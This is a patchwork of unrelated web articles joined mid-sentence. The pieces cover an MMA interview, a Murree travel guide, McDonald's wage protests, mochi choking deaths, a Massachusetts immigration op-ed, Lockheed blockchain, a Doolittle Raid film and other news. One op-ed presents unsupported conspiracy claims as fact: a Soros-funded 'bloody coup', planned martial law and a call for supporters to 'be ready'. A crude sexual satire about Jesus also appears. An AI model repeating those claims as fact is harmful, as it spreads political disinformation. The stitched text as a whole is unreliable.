“It was strange to tell you the truth. It feels way more normal when you’re doing it in front of a crowd of people, but with just the two of in the room it was strange. It was very weird.”
Asked whether being in the same room with ‘Dodger’ made him change his answers to some of questions, the Irishman was adamant that he would’ve answered the same whether the Mexican was present or not.
“No at all,” he laughed,” I don’t think he has a great grasp of the English language. I wasn’t too worried about that. I don’t think it would’ve bothered me if he was saying anything bad about me either.”
With the first images surfacing from their first face off, it seemed Montano would hold the size the advantage over Pendred. However, the SBG man claimed that his selection of footwear have been the reason behind him looking shorter than his next opponent.
“I was wearing flip flops and he was wearing shoes so I wouldn’t look into that too much. We’ll be doing another face off today where we’re both wearing shoes so I think that will be a bit more even.
“He looks like a big enough welterweight to be honest, I’d say he cuts a lot f weight. I always think of myself as the cut off point for welterweight – if you’re cutting anymore weight than I am I think you’re cutting into your performance.
“I’m cutting at the optimum level where you can get an advantage and I think anything else past that will take away from your performance. So if he is bigger than me, it certainly won’t bother me,” he said.
Finally, Pendred spoke about how much it means to him to be featured on the main card of such a big event:
“The fact that it is my first main card fight is in the back of mind, I feel like it is spurring me on a bit more in training and I’m pushing that extra bit more because of that. It is a big occasion for me.
“It will be special event too, I remember watching the first Mexican show. It was unbelievable, it actually really reminded me of the Dublin card but it was an even bigger scale because the arena holds 22,000 people.
“The UFC heavyweight title is up for grabs that night too so I know there are going to be a lot of eyes on it. I really want to turn heads with this performance and shoot my way up through this welterweight division.”
@PetesyCarrollAs we are all too aware with, family Travel can get expensive. Even a trip that sounds cheap at first, adds up when you consider you have to multiply it by four, five, six family members. Here I tell you one of the best destinations of Asia where you Travel with your kids by keeping your budget calm. Pakistan’s most popular hill station for families Murree is located along Islamabad-Kohala highway. People from all over the world visit this beautiful hill resort to escape from the sweltering heat. Mountains covered with lush green trees, cold atmosphere, fresh air, beautiful valleys and most importantly clouds on the roads hugging you with full of happiness.
Enjoyment of kids
Kids must enjoy climbing on mountains, which overhung with pines and oaks, bubbling with crooning springs, crisscrossed by streams, dotted with spreading lawns and orchards full with fruits present scene of Paradise on earth.
Where to Stay?
Murree being a well-established destination for families has a wide diversity of accommodations available to suit all pockets. There are various standard hotels are available in Murree. Another choice is to hire summer houses. Murree also has a number of private and government owned rest houses or Dak bunglows. Generally the summer season rates are 5 to 6 times the winter off season rate.
Where to Eat?
restaurants in Murree, mostly along The Mall, must enjoy the traditional food of the region in Murree it’s also a budget friendly option for you. There are many, mostly along The Mall, must enjoy the traditional food of the region in Murree it’s also a budget friendly option for you.
Where to Buy?
Traditional clothing items, head wear, carved walking sticks, jewelry items and leather goods are abundantly available. Don’t forget to buy the shells key chains with alphabets write on it. Murree has a variety of handicraft shops selling curios for the tourist to remind them of their visit to this hill station., head wear, carved walking sticks,and leather goods are abundantly available. Don’t forget to buy the shells key chains with alphabets write on it.
Places to see in MurreeAmerican tax-payers have become accustomed to all Washington DC-bound trains being nothing less than Gravy Trains. The Clinton train to Washington was packed with passengers who bought expensive tickets, confident that when they arrived at the destination there would be very rich pickings indeed. Unfortunately that particular train was derailed some miles from the station, and its passengers appear to have wasted their money. How sad!
Who knows when the Washington DC train first became a gravy train but the gravy will have become thicker and richer as the Federal Government has grown. And no doubt the train has added many extra carriages to accommodate the growing hordes fighting to buy tickets. Newly-elected Congressmen, lobbyists, publicists, Big Business representatives, agents of foreign governments, and slick opportunists, all crammed in together networking and scheming, and simultaneously proclaiming to the world their mission to do good, in anticipation of doing well for themselves.
The Donald promised to drain the swamp that is Washington DC and his early moves show he really means business. No lobbyists in his team and future government, a five year ban on lobbying after departure, and no work ever for a foreign government — these rules have the signature of a reforming outsider and no precedent in history. The Bush train would have been so different!!
So the Trump Train to Washington DC is a short express, those on board know there is no gravy at the destination, and that they have signed up for swamp-draining duties. Best of all the engineer is a volunteer who will work for no pay and who is not a union member. So much for the WSJ collaborators who smeared Trump as a bankrupt seeking to rescue his financial fortunes!
Trump’s decisions so far would greatly resonate with the hard-working, tax-paying American people, except that they don’t know about them, for the Mainstream Media is busy concealing real news and whipping up an anti-Trump uprising of all those who stand to lose should the Obama Revolution be undone.
It is our belief that the Ruling Media Class, and especially its Far Left allies in the big cities, are spoiling for a violent conflict to prevent Trump from taking office. They want blood! Listen to their rhetoric! Note their violent rage! Others on the Left, less confident of winning an all-out civil war, may believe that a coup can evolve out of making the big cities ungovernable prior to inauguration.
The Far Left mobilization for violent intimidation on the streets, encouraged, orchestrated and repackaged for public consumption by the MSM, appears ready to leave behind some of the Democrat Party in Congress. Schumer may be looking forward to four years of Senatorial tactics, obstructionism and MSM stardom, but Elizabeth Warren is emerging as a totalitarian fanatic who believes she can capture the leadership of an ultra-Congressional movement and complete the Revolution that Trump’s victory threatens to undo.
We suspect that Warren has big ambitions and believes that Hillary Clinton’s defeat need not be a defeat for Totalitarian Socialism, but an opportunity for the abandonment of stealth and gradualism in exchange for a bloody coup. She almost certainly is working hand-in-glove with George Soros whose Revolutionary cadres are impatient for violent action.
The threefold strategy is:
The MSM de-legitimizes in the minds of the American people Trump’s election victory, by promoting the canard that he lost the popular vote by a significant margin. In other words, the election is being stolen. The MSM is working to demoralize Trump’s supporters with endless false reports of his organization’s internal squabbling, confusion, policy wobbles and retreats. The MSM continually reports ‘spontaneous’ public demonstrations that are bringing normal life to a halt.
In an earlier era, Unions of railway engineers, steel workers, truck drivers, miners, port workers, construction workers and airport workers would have been called upon to create a General Strike. But now these workers are voting for Trump! A General Strike by Unionized teachers and public employees would certainly not bring America to a halt and many citizens would not even notice.
The better alternative (for the purposes of MSM propaganda) is for Unionized teachers and College professors in work-time to bring pupils and students on to the streets to disrupt traffic, whilst completing the ‘political education’ the children have long been receiving. After dark the Soros-funded Trotskyites and Black Lives Matter mobs can pick up the Revolutionary baton, peacefully assembling for the MSM cameras, and then rioting, intimidating, looting and burning in the name of saving America from Trump.
The Media Class and its Far Left allies hope to quickly build the rioting to a crescendo, identify a Muslim ‘martyr’ of Rightwing violence, and gift Obama with an opportunity for Martial Law, supported by Warren, the rump of the Democrats in Congress, the extremist Mayors of Big Cities, and a handful of Republican Quislings like Lindsay Graham and John McCain.
This scenario is threatening us, so what stands in the way of its success?
The Republicans in Congress have been revived by Trump’s victory and now have more backbone. Obama may have purged the top ranks of the military in the Pentagon but elsewhere the military remains stalwart. Donald Trump is no low-energy, hide-away Bush, but a tough, now-battle-hardened, determined and focused President-in-waiting. Provided he escapes assassination attempts, he will not allow a vacuum on the Right. There must be millions of Broad Right citizens like me, prepared to answer a call to defend Democracy. We must be ready!
Footnote
Universities are offering sanctuary to illegals. Let them! It will take offenders out of circulation, test elitist principles, consume their resources, and law-breakers ready for deportation.David Bates, 18, a McDonald’s worker from New Orleans, protests outside the McDonald’s headquarters in Oak Brook, Ill. Photo: Reuters
NEW YORK — McDonald’s CEO Steve Easterbrook said Thursday he was “incredibly proud” of a recent decision to bump pay for some workers, even as hundreds of protesters outside called on the company to do more ahead of its annual shareholder meeting.
Easterbrook, who stepped into his role in March, is fighting to revive sluggish sales and convince people that McDonald’s is a “modern, progressive burger company.” But the push comes at a time when protests targeting McDonald’s over low wages have been spreading around the country.
Easterbrook said at the meeting in Oak Brook, Ill., that he was proud of the decision announced last month to raise pay for workers at company-owned stores to $1 above the local minimum wage, as well as offer help with college tuition to workers at all stores.
Labor organizers and workers have dismissed the move on pay in part because they say it leaves so many workers out in the cold. The vast majority of the more than 14,300 McDonald’s restaurants in the U.S. are owned by franchisees.
On Thursday, protesters delivered a petition of support to McDonald’s that organizers said had 1.4 million signatures.
During the meeting, the company got support from at least one shareholder, who stood to note that actress Sharon Stone and Amazon.com CEO Jeff Bezos were among those who have worked at McDonald’s. If the chain paid $15, he said, those people would still be working at McDonald’s.
View photos
Thousands of activists and workers march near the McDonald’s headquarters. Photo: AP
Members of Corporate Accountability, a regular critic of McDonald’s marketing practices, also stood to repeat their request that the company retire Ronald McDonald and stop marketing to children.
But Easterbrook defended the company’s use of the red-headed clown, who he noted recently got a new outfit that makes him feel “trendier.”
“With regards to Ronald, Ronald’s here to stay,” Easterbrook said.
Shareholders also approved a proposal to nominate directors. The UAW Retiree Medical Benefits Trust, which filed the proposal, had said the costs to make nominations could be “prohibitive” under the current system.
Institutional Investor Services and Glass Lewis, two proxy advisory firms, had backed the proposal.
McDonald’s had opposed the proposal, which it said could enable shareholders with “special interests” to nominate directors and “introduce a potentially expensive and destabilizing dynamic” into its board election process.
Hundreds also protested on Wednesday, drawing people from around the country.
The Rev. William Barber of Goldsboro, North Carolina, said the campaign extends beyond pushing for a living wage. He called it a fight for racial equality, noting people of color are disproportionally working in low wage jobs.
Corey Anderson, 21, who works at a Chicago McDonald’s, said he makes $8.25 an hour after working for the fast-food chain for more than two years. That’s not enough to live on after rent and utilities are paid, he said.
“I feel like they don’t understand what it’s like to make what we make,” he said.
Sa Shekhem said the company respects the right to protest.
“When it comes it comes to the minimum wage, that is a national discussion, that is not a McDonald’s issue, it’s an economic issue,” she said. “We’ll look to the folks in Washington to determine what happens.”Ah mochi, the delicious Japanese sweet. It can come in all different shapes and flavors, from the loveable daifuku with sweet bean paste filling, to hot zenzai soup with azuki beans and white mochi, to such delights as mochi ice cream and even chocolate cow poop mochi.
Since mochi is a traditional New Year’s treat in Japan – you can even reserve your New Year’s kagami mochi at Baskin Robins – more of it is consumed around this time of year than any other.
But all that mochi-eating has a dark side to it. With its incredibly sticky texture, mochi causes the most choking-related deaths of any food item in Japan. Last year it killed two people during the New Year season, and after just two days into 2015 it has already claimed nine lives and hospitalized 128 others.
Typically mochi-related deaths and injuries occur in the elderly population. The victims may not chew it enough, insist on eating the traditional snack despite not having all their teeth, or a multitude of other reasons.
▼ Don’t do it! You have your whole- well, some life ahead of you!
Wikimedia Commons
This year, of the nine mochi-related deaths, three occurred in Tokyo, another three in Chiba, and one each in Osaka, Aomori and Nagasaki. The Tokyo Fire Department (which also handles the ambulance services) urges people to “cut their mochi into small pieces, and when a child or elderly person is eating it, to make sure that the people around them are paying attention.”
Of course Japanese netizens had a thing or two to say about all this:
“I can’t believe they still choked even with all the warnings out there. What an embarrassing way to go.” “We should probably start requiring a license to eat mochi.” “Mochi, you’re a bigger killer than konjac jelly!“ “Mochi: ‘Yes, just as I planned….'” “People have been saying that it’s strange yukhoe (korean raw beef with egg) is banned but mochi is still legal, and yeah, now I understand why.” “I bet at least 1% of these are murders, forcing the victims to eat it. Probably happens every year.” “Wait a minute, so does this mean that, before modern warnings and everything, people dying from mochi-choking was just a regular thing? Mochi… I believed in you.” “They should start selling small-cut, special ‘Won’t-Choke-You Mochi.’ It’d probably sell really well.”
While we wouldn’t dare dissuade anymore from enjoying a delicious daifuku, or from celebrating the new year with some zōni mochi (soup with a mochi) or kinako mochi (brown mochi covered in powder), we’d suggest that you take the Tokyo Fire Department’s advice and try not to swallow it whole. At least that way you won’t end up getting made fun of on a Japanese messageboard.
But hey, you don’t have to take our word for it. Just listen to Hatsune Miku’s words of advice:
Translation of the first two verses:
If little kids or old people eat konjac jelly
Then they will DIE
No matter the warnings on the package
Kids can’t read them and will DIE
Konjac jelly is dangerous so let’s ban it.
If little kids or old people choke on zōni mochi
Then they will DIE
No matter how old the tradition is
So many people die each year it’s basically a tradition itself
Zōni mochi is dangerous so let’s ban it.
Source: Yahoo! Japan News via My Game News Flash
Featured/top image: LivedoorMassachusetts Republcan Gov. Charlie Baker in Boston on Jan. 9, 2015. Maddie Meyer/Getty Images for the USOC
Massachusetts’ Republican Gov. Charlie Baker likes to position himself as a moderate who opposes Donald Trump’s most extreme policies, particularly with regard to immigration. But on Tuesday, Baker aligned himself with the president by introducing a bill that would allow state law enforcement officers to detain certain undocumented immigrants without a warrant.
Baker’s proposal is a direct response to the Supreme Judicial Court of Massachusetts’ recent decision prohibiting state and local officers from honoring so-called ICE detainers. Immigration and Customs Enforcement agents issue these requests when a local detention facility is holding an undocumented immigrant. If the facility complies, it may hold a detainee for up to 48 hours after she should have been released, giving ICE a window to retrieve and deport her. The SJC ruled that no Massachusetts law allows officers to detain an individual who should otherwise be free to go simply because ICE has issued a detainer. Thus, the court explained, Massachusetts officers who comply with ICE detainers are violating state law.
Baker now wants the Legislature to change state law to permit compliance with ICE. (He gave law enforcement the green light to honor ICE detainers in 2016.) Baker’s bill would let state enforcement officers honor ICE detainers when the undocumented immigrant in question “poses a threat to public safety.” (An individual falls into this category if he has previously been sentenced to more than 180 days in custody, if he has been convicted of a “serious crime,” or if he is “suspected of terrorism or espionage.”) Officers may hold these immigrants for up to 12 hours without any semblance of due process; after that, a judge must make a finding of probable cause.
In defense of the bill, Lt. Gov. Karyn Polito suggested the SJC ruling meant “local officials” would now “be compelled to let dangerous individuals with serious criminal histories walk free due to an ambiguity in the law.” This allegation is deeply misleading and disingenuous. There is no “ambiguity” in Massachusetts law. There is, rather, a guarantee of due process, which compels all officers to comply with certain procedures when arresting and detaining suspects. One fundamental rule of due process is that officers may not detain an individual without probable cause or a warrant. Because ICE detainers are not warrants, any state officer who honors one is infringing on the due process rights of the detainee.
Here’s how Baker’s bill, if passed, would play out in practice. Imagine an officer arrests two individuals on suspicion of armed robbery. Both are placed in a local jail. The officer discovers that one is a citizen while the other is undocumented. She also learns that both were convicted of selling marijuana (a “serious crime,” per the new bill) a decade ago. The officer alerts ICE, which issues a detainer. Then, she realizes she arrested the wrong two men. All charges against both men are immediately dropped.
Under Baker’s legislation, the citizen is free to go but the officer can detain the undocumented individual for at least another 12 hours. This person has not been charged with a crime—unlawful presence in the United States is a civil offense, not a criminal one—and his detention is not supported by probable cause, let alone a warrant. But because of Baker’s bill, he may remain locked up.
Baker and Polito should be honest about the goal of their bill. They do not wish to plug an ambiguity in the law; they want to make an end-run around the state’s highest court so Massachusetts can participate in Trump’s immigration crackdown. Baker can criticize Trump all he wants, but his words ring hollow when he’s acting to circumvent the courts and work with the president’s deportation force.Most of Verizon's strategy talk surrounding its long-term LTE plans has conservatively aimed at upgrading all existing coverage areas to 4G by the end of 2013. If we're to believe a CFO Fran Shammo presentation, the carrier may have underpromised and overdelivered: the executive now expects LTE to reach the whole network by the middle of next year, or as much as half a year sooner than first thought. What prompted the quicker rollout wasn't mentioned, although Shammo was eager to point out a surprisingly strong reception to Verizon's (frequently mandatory) shared plans as well as the ample number of airwaves that came from a spectrum transfer deal with cable providers. Having a lot of customers on premium plans with the capacity to support them tends to help with faster expansion, we'd say. No matter the exact reasoning, the shortened schedule could underscore the advantage of Verizon's early start on LTE versus those carriers taking a more relaxed pace.Keystone XL advocates in the U.S. government made a fresh bid Thursday to bypass the White House with new binding legislation that, if approved, would “immediately authorize” the approval of TransCanada Corp.’s controversial pipeline project.
Democrat Louisiana Senator Mary Landrieu and North Dakota’s Republican Senator John Hoeven introduced the bill with a vote expected in “the coming days,” a statement from the senators said.
While Congress and Senate leaders have pushed pro-Keystone bills before, Thursday’s move has some key additional support with Harry Reid, the Senate Majority Leader and a staunch opponent of the pipeline, agreeing to allow a vote as part of a wider debate on an energy-efficiency bill.
“I’m open to anything that will move energy efficiency,” Mr. Reid said Wednesday as the proposed legislation was being discussed, but critics believe the senate leader’s concession is more an effort to boost Senator Landrieu and other Democrat Senators’ chances in the November mid-term elections.
“I have 56 hard yeses,” Sen. Hoeven told reporters Thursday. “Beyond that I’ve got six or seven maybes. Our challenge is going to be to get to 60 votes.”
If the pro-Keystone XL bill receives the 60 votes required to clear procedural obstacles in the Democrat-controlled Senate, it would likely sail through the Republican-controlled House of Representatives. But to avoid being vetoed by President Barack Obama it will need the support of two-thirds of the Senate, meaning 67 votes.
“There is a very slim-chance that this will get through veto-proof, although it is significant that Harry Reid is not blocking this, which suggests strong bipartisan support,” a U.S. oil industry
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that and more!
4. Reverse cowgirl
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Okay, so no doubt that Jesus is going to love it when we show him cowgirl, but reverse cowgirl? When Jesus figures out that reverse cowgirl is just cowgirl with the girl mounting her partner backwards, he won’t be able to contain himself. He’ll reward us for our resourcefulness! He’ll compliment our ingenuity! With his voice booming throughout the entire universe, he will look at us and say that our time on Earth has been time well spent, and every living creature will be able to hear! He will forgive some of us, and take those people with him to the heavens!
5. Scissoring
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So, we know what you’re thinking. Yes, scissoring involves two women rubbing their crotches together until they achieve orgasm, which the Bible gets angry about. And while we’re proud of this move, there are, admittedly, a couple of ways this could go down. Best-case scenario: Jesus sees scissoring and becomes totally amazed by the sight of two females having sex. At that point, he’ll become so proud of humanity that he brings scissoring back up to God in heaven, where all the angels applaud it and God begins to cry tears of joy! Worst-case scenario: Jesus hates girl-on-girl stuff and drags us all down to hell in an apocalyptic explosion of death.
6. 69-ing
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Jesus, we’ve worked so hard for you! Come down soon so we can show you all the ways we can 69!
7. Wheelbarrow
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Dear God in heaven, hear our prayer! When Jesus does finally go back up to heaven, we hope he’s as excited as we are about the wheelbarrow, the most advanced sex move on this list. As he bursts back through the clouds and stands once again at your heavenly gates, we hope he remembers the strength it takes the man to lift the woman’s legs while her hands are planted firmly to the ground while simultaneously thrusting into her. Everything we do on Earth, we do for Jesus, and we hope, in his eternal glory, he knows that after seeing all these sex moves. Amen!The largest defense contracting firm in the world has announced plans to leverage blockchain technology in its operations.
Revealed last week, Lockheed Martin is now working with Virginia-based GuardTime Federal to integrate blockchain into its supply chain risk management, a deal that comes two years after the two firms began working on cybersecurity initiatives.
According to Defense News, Lockheed Martin earns more than $40bn in total defense revenue annually for work on everything from ballistic missiles to combat systems.
Lockheed said in a statement:
“With this effort, Lockheed Martin becomes the first US defense contractor to incorporate blockchain technology into its developmental processes, enabling more efficient and assured offerings to the federal government.”
Ron Bessire, VP for Lockheed Martin, suggested that the goal would now be to use blockchain technology to enhance data integrity, speed up problem discovery and reduce regression testing.
But while details are scarce overall, it’s a notable development given the US government’s increasing interest in leveraging blockchains for defense purposes.
The US government’s Defense Advanced Research Projects Agency (DARPA) began work on potential applications for the tech last year, and the US Homeland Security Department has awarded multiple grants to companies working on applying it to its various ongoing initiatives.
The new follows an announcement last year that a bitcoin analysis tool was being built at one of Lockheed Martin’s facilities.
Lockheed Martin building image via ShutterstockBeresford to direct his first film with a China connection since Mao’s Last Dancer in 2009
State-backed partner worked on 2011 propaganda film abo ut Communist Party origins
Special effects will be by Tau Films’ John Hughes, formerly of Rhythm & Hues
Oscar-nominee Bruce Beresford will direct a $100 million Chinese co-production about an American air raid on Tokyo in 1942, after Japan’s attack on Pearl Harbor drew the United States into World War II, the project’s producer said in Beijing on Thursday.
Plans for The Doolittle Raid—the second film on the revenge aerial bombing announced in recent months—were unveiled by American producer Tony Scotti at a news conference at the Beijing International Film Festival.
Co-productions, once touted as the most effective way for the Hollywood and China to work together, have been slow to navigate the red tape of China’s growing industry, with few getting final state approval to shoot.
But historical epics featuring the U.S. and China fighting side by side against a common enemy, the Japanese, appear to be in favor at a time when relations between Washington and Beijing are being tried in diplomatic, trade, and human rights circles.
The film will be Australia-born Beresford’s second foray into Chinese territory. In 2009, he directed Mao’s Last Dancer, about famed ballet dancing defector to the United States. In 1989, Driving Miss Daisy, which he directed, won the Best Picture Oscar and three others. A video of Beresford acknowledging his involvement in the project was shown at the conference.
A co-production between the state-controlled Central Newsreels and Documentary Film Studio in Beijing and Los Angeles and Paris-based Global Media Management Film Group, Beresford’s version of the story of the U.S. Army Air Corps Lieutenant Colonel James Doolittle, will focus on the aftermath of the daring April 18, 1942 bombing raid he led on the Japanese capital that resulted in 65 of the 80 airmen under his command crashing in or bailing out over China.
The American airmen were helped to safety by the Chinese people, who then suffered a quarter of a million deaths in subsequent Japanese reprisals, according to representatives from the Central Newsreels and Documentary Film Studio.
“You’ve all heard and learned the price that the Chinese paid for saving those Americans,” Scotti said at a press conference in Beijing. “I used to like the Japanese, but after learning all of that, I didn’t like them so much anymore.” Scotti’s remarks drew applause from the festival audience.
Plans for another movie based on the Doolittle story called In The Times Of Locusts was announced in late February as part of a $500 million slate of Chinese film and TV projects from New York- and Shanghai-based hedge fund Han Capital Management.
And in early April, Los Angeles-based Skydance and Alibaba Pictures said they were teaming up to shoot The Flying Tigers, a film about the American Volunteer Group that aided the Chinese Nationalist forces of Chiang Kai-shek against the Japanese during WWII.
Scotti told China Film Insider he got the idea for the Doolittle film, which will feature special effects by John Hughes of Tau Films, when he saw a photo of the man while visiting a war museum in Beijing.
“President Xi went to the war museum and they showed him the same picture and told him my story and he said, ‘That’s a movie that should be made,’ Scotti said, adding: “That’s what I was told.”
Scotti said he hoped the film, which will be a dramatization of historical fact, would not focus on the brutality of the Japanese. “This is not a story about brutality,” he said. ”It’s a story about courage and about people.”
Scotti said advisors from the Central Newsreels and Documentary Film Studio worked with the screenwriters on the script. Among that studios credits are the 2011 propaganda film Beginning of the Great Revival about the events that led to the founding of the Chinese Communist Party.
“After they read the screenplay they tutored them on what we can and can’t say” Scotti told CFI. “And basically there was very little that we couldn’t say in this movie.”
According to Scotti, the film features scenes with of Soong Mei-ling, the wife of the Nationalist leader Chiang who fled to the island of Taiwan to set up their own government when the Communists rose to power in China in 1949. “She refers to the General as Generalissimo—we don’t show him, but it does refer to him.”MY HOMETOWN SANTA IS THE BEST HOMETOWN SANTA EVER!
The package made its way from Valparasio, Indiana, to the United Kingdom in less time than it would take me to send a letter here (which is massively impressive.) And I was so happy to see what was inside!
My santa included a lovely long letter to explain everything which was inside the package and why it was so important to them. I learnt so much about the city and the local economy and it actually caused a 2 hr discussion in my family it was so interesting! Thank you so much for giving something so thought provoking.
My santa mentioned that the steel industry was the primary employer in their area, and gave me some interesting gifts to show the importance. Firstly, a lovely lovely pair of steel workers gloves (wool lined!) We have a workshop at home so they'd already found their new home there (which is why the picture is separate!) and were actually the perfect gift for us! So thank you so so so much!
Next, a large and beautifully photographed book of the steel industry in Indiana. It is SO interesting (I'm a big history buff) and I've already read through it twice! Thank you so sososo much!! Inside the book were a few stickers supporting the works which I'm definitely using :)
Next, my Santa got me a few gifts dedicated to the Indiana Dunes. They look absolutely beautiful - a real piece of natural heritage which I would love to visit one day. Inside was a brochure and a map, they really REALLY sold it to me and now I'm definitely going to plan a holiday to visit!!! Also included was a magnet which has gone straight on my fridge. THANK YOU SO MUCH!
Now on to the edibles!
My santa mentioned that Orville Redenbacher came from Indiana, and that his town has a popcorn festival dedicated to him as a result. In the UK we don't get that brand of popcorn, but I love the fact that despite a lot of similarities there are such differences in our food! Butter popcorn is also not very common in the UK, so I'm really excited to try it (it always looks so delicious on TV!) THANKS SANTA - I never knew anywhere had a popcorn festival but my life is definitely better knowing they do!
And finally - GUMMI BEARS. These are Albanese world's best bears - and I can't wait to try them! I have a real sweet tooth and love my gummy sweets so I am super super super excited. There are twelve flavours in the bag (some of which are rare in the UK, like grape) so I cannot wait to dig into these! They also included a lovely brochure and a cute little bear card to go alongside it.
SO ISN'T MY SANTA THE BEST EVER?! Thank you so so so so much for all of these amazing gifts! I got exactly what I wanted to from this exchange - I now know so much more about a city which I'd previously never heard of, I feel like I've really got a part of my santa's home in my little house in the UK. Thank you SO SO much! You are the greatest!Advocates of LGBT rights and religious freedom denounced President Donald Trump as he became the first sitting president to address the Values Voter Summit on Friday. In his speech, Trump assured his supporters that Judeo-Christian religious values would be protected by his administration and pushed the narrative that social conservatives have been under attack in the U.S. The Southern Poverty Law Center, which classifies the Family Research Council, one of the groups behind the summit, as a hate group, tweeted about the gathering the president had chosen to address.
In #VVS17 speech speaking to anti-Muslim, anti-LGBT groups, Pres. Trump says he is proud to be among so many friends https://t.co/W92SAtwdWL — SPLC (@splcenter) October 13, 2017
The FRC’s website reads, “Homosexual conduct is harmful to the persons who engage in it and to society at large, and can never be affirmed… We oppose the vigorous efforts of homosexual activists to demand that homosexuality be accepted as equivalent to heterosexuality in law, in the media, and in schools.” The annual event is taking on a decidely anti-Muslim and anti-immigrant tone this year as well, with Brigitte Gabriel, Sebastian Gorka, and Steve Bannon speaking in addition to the president. In his speech, Trump drew on his ubiquitous “Make America Great Again” slogan, promising a “return” to religious values supposedly upheld by the signers of the Declaration of Independence.
Trump “How times have changed. You know, now they’re changing back again. Just remember that.” #bobroberts pic.twitter.com/hhaB9JmlCD — Josh Marshall (@joshtpm) October 13, 2017
Despite a number of references to religious liberty, the president made clear throughout the speech that his concerns lie with the freedom to express Judeo-Christian beliefs. He invoked the alleged “War on Christmas,” promising, “We are stopping cold the attacks on Judeo-Christian values.”
Trump’s talking about the “war on Christmas” as asking Santa Congress for tax cuts #TaxReform pic.twitter.com/JbXn0PoYoq — TheRyanSit (@TheRyanSit) October 13, 2017
He also addressed the Johnson Amendment, the law signed by President Lyndon B. Johnson eliminating religious organizations’ tax-exempt status if they publicly advocate for political candidates. Trump touted his executive order which weakened the amendment earlier this year, touting his commitment to protecting Christian and Jewish leaders—but made no mention of other religious groups. “We will not allow government workers to censor sermons or target our pastors or our ministers or rabbis,” the president said. “These are the people we want to hear from, and they’re not going to be silenced any longer.” Trump, who has spent most of his life in socially progressive New York City, expressed liberal views about the LGBT community prior to his 2016 run, once saying he supported an amendment to the Civil Rights Act of 1964 to include discrimination based on sexual orientation and noting that he “grew up in New York City, a town with different races, religions, and peoples. It breeds tolerance.” But since announcing his presidential run in 2015, he’s proven to be dependent on the support of groups like the Family Research Council. Opening his speech, he mentioned his affinity for groups that approve of his professed views.
Trump, speaking to the Values Voter Summit, says the people he likes are the people who said nice things about him before they met him. — Daniel Dale (@ddale8) October 13, 2017
On social media, rights groups and progressives spoke out against the president’s speech—and the irony of his appearance before “Values Voters.”
Donald Trump is a sexual predator speaking before a hate group.#VVS17https://t.co/AAhBCPicCN — Shareblue Media (@Shareblue) October 13, 2017
Trump is telling a coalition of hate groups how much he wants to protect their First Amendment rights. Black athletes? Not so much. #VVS17 — Kaili Joy Gray (@KailiJoy) October 13, 2017
Trump says folks at #vvs17 “solute every American that wears the uniform.” Fact-check: Not if they’re trans. — Ashley Dejean (@ashleydijon) October 13, 2017Vic Mensa's debut album The Autobiography is now available anywhere albums can be streamed, and it features a genre-hopping assortment of guests. Chief Keef, Pharrell Williams, Pusha T, and Syd all make memorable appearances on the long-awaited 13-track release. But one collaboration in particular, "Homewrecker," has fans looking all the way back to a 1996 cult classic.
On the track, Mensa recalls a relationship gone very much awry over a version of the bridge to Weezer's Pinkerton single "The Good Life." The band—particularly frontman Rivers Cuomo—is known for performing and/or writing for a wide variety of other artists, ranging from Lil Wayne to motherfucking Sugar Ray. For Mensa's rock-forward Autobiography track, the collaboration started with the Roc Nation recruit's love of Pinkerton as, first and foremost, a fan.
In a new interview with Rolling Stone, Mensa revealed he wanted to make sure he wasn't rapping on "like three-note trap beats and shit" on the album, which is executive produced by the one and only No I.D. Mensa was eventually introduced to Pinkerton by producer Papi Beatz, who put the record on during a cruise through Los Angeles during the Autobiography recording sessions. Now, Mensa said, it's his favorite Weezer album.
In a previous interview with Clash last year, Mensa—who, at the time, was still referring to the album as Traffic—opened up about the song’s meaning and detailed a studio session with Cuomo that resulted in the Weezer singer adding new vocals to the track. "I was with this girl for four years and we just loved each other to a point of extreme hate sometimes," Mensa said. "It's really crazy, you know. And that relationship and how volatile and at times beautiful [it was]." After the "Good Life" loop was built, Cuomo invited Mensa to his studio and ended up loving it "so much he laid down some vocals at the end of the song."
POST CONTINUES BELOW
Hear the final product in the video up top. The Autobiography is available now.Robotech is taking another giant step towards fruition as Warner Bros. locked down a highly-touted scribe for the highly-anticipated film.
The studio has tapped Jason Fuchs to write the screenplay. Fuchs did well for the studio this year, as a co-writer on Wonder Woman (along with Allan Heinberg and Zack Snyder). Previous scripts by Fuchs include Pan and Ice Age: Continental Drift.
Andy Muschietti, still riding the wave of success that came withIt, signed on as director a couple months ago. According to Deadline, Muschietti and Fuchs will work together to create the new script "from scratch."
Based on the 1980s anime TV series, Robotech "takes place in an era when Earth has developed giant robots from the technology of an alien spacecraft that crashed on a South Pacific island. The residents of the third planet from the sun are now using that converted tech to fight off an impending alien invasion."
There is no timeline yet for when Robotech will go into production. But it likely won't get started until after Muschietti has finished the It sequel.
What do you think, is this the team to bring a giant Robotech tentpole movie to the big screen?The Football Association has announced that they are willing to grant Step 5 and 6 leagues permission to extend their…..
…..playing season beyond the end of April.
Following discussions with the chairman and vice-chairman of the National Leagues Committee, it has been agreed that it will be in order for leagues to extend the playing season until Saturday, 4th May if required.
However, in a communication sent to Step 5/6 league secretaries, FA Leagues and Clubs Manager Mike Appleby said: “It is vital that promotions to Step 4 are finalised by this date (4th May) as the club allocation meetings take place shortly afterwards.
“Therefore, we ask for your co-operation in ensuring that clubs seeking promotion to Step 4 do complete their leagues fixtures by Saturday, 4th May.
“It may be the case that non-promotion related games may be able to take place after this date but we will monitor the situation going forward.”A report from an airport in the United Kingdom shows that, over a seven-month period, drug-sniffing dogs failed to find any hard drugs.
But they did find lots of food.
>> Read more trending stories
BBC reported that although importing potatoes, meat and dairy from outside the U.K. is illegal, using dogs to detect those items is wasteful, according to local immigration and law enforcement.
The inspection comes from the independent chief inspector of Borders and Immigration, who reviewed border checks at the Manchester Airport in Manchester, England.
The report found that the hard drugs, designated as "Class A drugs," were not at the expected level.
The U.K. government defines Class A drugs as crack cocaine, heroin, LSD, ecstasy, magic mushrooms, methadone and methamphetamine.
The Border Force, part of Home Office, which manages border control and immigration, spent $1.4 million on kennels, according to the report.
The review said that based on the results over the period of the inspection, it was a low return on investment for the department.
"A senior manager agreed that there was a lack of innovation in the use of the dogs, and told us that a new management structure was being put into place to take a fresh look at their deployment," the report said.We've all heard the latest about T. Boone Pickens, the Texas oil-and-gas-billionaire who's now running commercials trying to sell Americans his energy plan. Pickens wants to use wind power to make electricity, and use the natural gas now burned by electric power plants to fuel cars and trucks instead, reducing our dependence on foreign oil.
